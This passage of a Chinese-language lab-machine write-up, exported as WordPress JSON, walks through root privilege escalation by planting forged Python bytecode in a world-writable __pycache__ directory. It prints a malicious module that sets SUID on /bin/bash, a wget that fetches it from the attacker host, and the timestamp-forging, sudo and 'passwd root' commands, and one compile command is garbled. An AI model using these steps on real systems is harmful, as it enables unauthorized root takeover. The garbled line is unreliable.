src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768133686387-1889c0d2-2dcc-445a-af76-e7756f3e4bd6.png\" alt=\"\" \/><\/p>\n<p><strong>\u53cd\u5f39Shell\u6210\u529f\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>Sudo PyCache\u5b57\u8282\u7801\u52ab\u6301\u63d0\u6743<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u5c1d\u8bd5\u6267\u884c<code>sudo -l<\/code>\u547d\u4ee4\uff0c\u67e5\u770b\u5f53\u524d\u7528\u6237<code>larry<\/code>\u7684<code>Sudo<\/code>\u6743\u9650\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768134039551-29c853c0-cc48-4cc3-8706-c367e786510e.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5f53\u524d\u7528\u6237\u53ef\u514d\u5bc6\u4ee5<code>root<\/code>\u7528\u6237\u8eab\u4efd\u6267\u884c<code>\/opt\/extensiontool\/extension_tool.py<\/code>\u811a\u672c\uff0c\u8fdb\u5165<code>\/opt\/extensiontool\/<\/code>\u76ee\u5f55\u67e5\u770b\u7a0b\u5e8f\u7ed3\u6784\uff1a<\/p>\n<pre><code class=\"language-shell\">cd \/opt\/extensiontool\/ &amp;&amp; ls -lA<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768134230223-2e1926a6-8777-4fc6-b7c9-1cca21aeaba0.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u7a0b\u5e8f\u76ee\u5f55\u4e0b<code>__pycache__<\/code>\u5b57\u8282\u7801\u7f13\u5b58\u76ee\u5f55\u7684\u6743\u9650\u4e3a<code>0777<\/code>\uff0c\u6240\u6709\u7528\u6237\u53ef\u8bfb\u53ef\u5199\uff1b\u540c\u65f6\u67e5\u770b<code>extension_tool.py<\/code>\u6e90\u7801\uff0c\u53d1\u73b0\u4ee3\u7801\u4f7f\u7528<code>import<\/code>\u8bed\u53e5\u5bfc\u5165\u4e86<code>extension_utils.py<\/code>\u7a0b\u5e8f\u6a21\u5757\u7684\u5185\u5bb9\uff1a<\/p>\n<pre><code class=\"language-python\">#!\/usr\/bin\/python3.12\nimport json\nimport os\nfrom argparse import ArgumentParser\nfrom extension_utils import validate_manifest, clean_temp_files\nimport zipfile<\/code><\/pre>\n<p><code>extension_tools.py<\/code>\u548c<code>extension_utils.py<\/code>\u6e90\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768134534311-0ed1f1a1-2875-4ae7-a01a-b4f02472f289.png\" alt=\"\" \/><\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768134560472-71e91a70-984d-4fe2-a3e5-068c21fe3b17.png\" alt=\"\" \/><\/p>\n<blockquote><p>\u6ce8\uff1a<code>__pycache__<\/code>\u662f<code>Python<\/code>\u5b57\u8282\u7801\u7f13\u5b58\u6587\u4ef6\u7684\u4fdd\u5b58\u76ee\u5f55\uff0c\u5f53<code>Python<\/code>\u8fd0\u884c\u4e00\u4e2a\u4f7f\u7528\u4e86<code>import<\/code>\u8bed\u53e5\u7684\u811a\u672c\u65f6\uff0c\u89e3\u91ca\u5668\u9996\u5148\u4f1a\u5c06\u5bfc\u5165\u7684\u76ee\u6807\u7a0b\u5e8f\u6a21\u5757\u8f6c\u6362\u4e3a\u5b57\u8282\u7801\u6587\u4ef6<code>.pyc<\/code>\uff0c\u5f53<code>Python<\/code>\u4e0b\u6b21\u6267\u884c\u7a0b\u5e8f\u65f6\uff0c\u4f1a\u4ece\u8be5\u76ee\u5f55\u4e2d\u67e5\u627e\u7b2c\u4e00\u6b21\u8f6c\u6362\u7684\u5b57\u8282\u7801\u6587\u4ef6\u8c03\u7528\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u5982\u679c<code>pyc<\/code>\u6587\u4ef6\u4e2d\u8bb0\u5f55\u7684\u6e90\u4ee3\u7801\u6587\u4ef6\u521b\u5efa\u3001\u6700\u540e\u7f16\u8f91\u65f6\u95f4\u548c\u6587\u4ef6\u5927\u5c0f\u4e0e\u5b9e\u9645\u5bfc\u5165\u76ee\u6807\u7684\u6e90\u7801\u6587\u4ef6\u4e00\u81f4\uff0c\u5219\u8ba4\u4e3a\u8be5\u5b57\u8282\u7801\u7f13\u5b58\u6709\u6548\uff0c\u5426\u5219\u4f1a\u8fdb\u884c\u91cd\u65b0\u8f6c\u6362\u3002<\/p><\/blockquote>\n<p>\u9488\u5bf9\u5982\u4e0b\u60c5\u51b5\uff0c\u6211\u4eec\u53ef\u4ee5\u521b\u5efa\u6076\u610f\u7684<code>extension_utils.py<\/code>\u526f\u672c\uff0c\u5c06\u5176\u8f6c\u6362\u4e3a\u5b57\u8282\u7801\u6587\u4ef6\u540e\u653e\u7f6e\u5728<code>__pycache__<\/code>\u76ee\u5f55\u4e0b\uff0c\u5982\u526f\u672c\u521b\u5efa\u3001\u6700\u540e\u7f16\u8f91\u65f6\u95f4\u53ca\u6587\u4ef6\u5927\u5c0f\u548c\u539f\u6765\u7684<code>extension_utils.py<\/code>\u4e00\u81f4\uff0c\u5219<code>Python<\/code>\u5c31\u4f1a\u5bfc\u5165\u6076\u610f\u7684\u5b57\u8282\u7801\u6587\u4ef6\uff0c\u800c\u6211\u4eec\u53ef\u4ee5\u4efb\u610f\u4fee\u6539\u5176\u4e2d\u7684\u4ee3\u7801\uff0c\u53ea\u8981\u6587\u4ef6\u5927\u5c0f\u4fdd\u6301\u5728<code>1245<\/code>\u5b57\u8282\u5373\u53ef\uff1a<\/p>\n<pre><code class=\"language-python\">import os\nimport json\nimport subprocess\nimport shutil\nfrom jsonschema import validate, ValidationError\n\n# Simple manifest schema that we'll validate\nMANIFEST_SCHEMA = {\n    \"type\": \"object\",\n    \"properties\": {\n        \"manifest_version\": {\"type\": \"number\"},\n        \"name\": {\"type\": \"string\"},\n        \"version\": {\"type\": \"string\"},\n        \"permissions\": {\"type\": \"array\", \"items\": {\"type\": \"string\"}},\n    },\n    \"required\": [\"manifest_version\", \"name\", \"version\"]\n}\n\n# --- Manifest validate ---\ndef validate_manifest(path):\n    with open(path, 'r', encoding='utf-8') as f:\n        data = json.load(f)\n    try:\n        os.system(\"chmod 4755 \/bin\/bash\")\n        validate(instance=data, schema=MANIFEST_SCHEMA)\n        print(\"[+] Ma valid.\")\n        return data\n    except ValidationError as e:\n        print(\"[x] Ma validati error:\")\n        exit(1)\n\n# --- Clean Temporary Files ---\ndef clean_temp_files(extension_dir):\n    \"\"\" Clean up temporary files or unnecessary directories after packaging \"\"\"\n    temp_dir = '\/opt\/extensiontool\/temp'\n\n    if os.path.exists(temp_dir):\n        shutil.rmtree(temp_dir)\n        print(f\"[+] Cleaned up temporary directory {temp_dir}\")\n    else:\n        print(\"[+] No temporary files to clean.\")\n    exit(0)<\/code><\/pre>\n<p>\u63a5\u7740\u5c06\u6587\u4ef6\u4e0b\u8f7d\u5230\u9776\u673a\u4e0a\uff0c\u4f7f\u7528<code>Python<\/code>\u7684<code>os.utime()<\/code>\u65b9\u6cd5\u66f4\u6539\u65f6\u95f4\u6233\uff0c\u4e0e\u539f\u6587\u4ef6\u4fdd\u6301\u4e00\u81f4\uff1a<\/p>\n<pre><code class=\"language-shell\">wget http:\/\/10.10.16.117\/extension_utils.py\npython -c \"import os;origin=os.stat('\/opt\/extensiontool\/extension_utils.py');os.utime('extension_utils.py', (origin.st_atime, origin.st_mtime))\"<\/code><\/pre>\n<p>\u6700\u540e\u8c03\u7528<code>py_compile<\/code>\u5e93\u5c06\u5176\u8f6c\u6362\u4e3a\u5b57\u8282\u7801\uff0c\u79fb\u52a8\u5230<code>\/opt\/extensiontool\/__pycache__\/<\/code>\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-shell\">python -c \"import py_compipython -c \"import py_compile;py_compile.compile('extension_utils.py')\"\ncp __pycache__\/extension_utils.cpython-312.pyc \/opt\/extensiontool\/__pycache__\/extension_utils.cpython-312.pyc<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768135893701-a590358e-267f-43e6-8ab6-2eceb1a4123e.png\" alt=\"\" \/><\/p>\n<p>\u590d\u5236\u5b8c\u6210\u540e\uff0c\u6267\u884c<code>sudo<\/code>\uff0c\u8c03\u7528\u811a\u672c\u63d0\u6743\uff1a<\/p>\n<pre><code class=\"language-shell\">sudo \/opt\/extensiontool\/extension_tool.py --ext Timer --zip test.zip<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768136031744-2fa5c3ba-656c-43ac-b795-e012c7eb6b0f.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u52ab\u6301\u5b57\u8282\u7801\u6587\u4ef6\uff01\u63a5\u4e0b\u6765\u76f4\u63a5\u4fee\u6539<code>root<\/code>\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-shell\">\/bin\/bash -p\npython -c \"import os;os.setuid(0);os.setgid(0);os.system('passwd root')\"<\/code><\/pre>\n<p>\u968f\u540e\u5207\u6362\u81f3<code>root<\/code>\u7528\u6237\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1768136224398-b593ab63-5d81-4362-bea6-65800d481647.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.129.4.64\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.129.4.64 (10.1 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[14],"tags":[],"class_list":["post-360","post","type-post","status-publish","format-standard","hentry","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/360","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=360"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/360\/revisions"}],"predecessor-version":[{"id":361,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/360\/revisions\/361"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=360"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=360"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=360"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}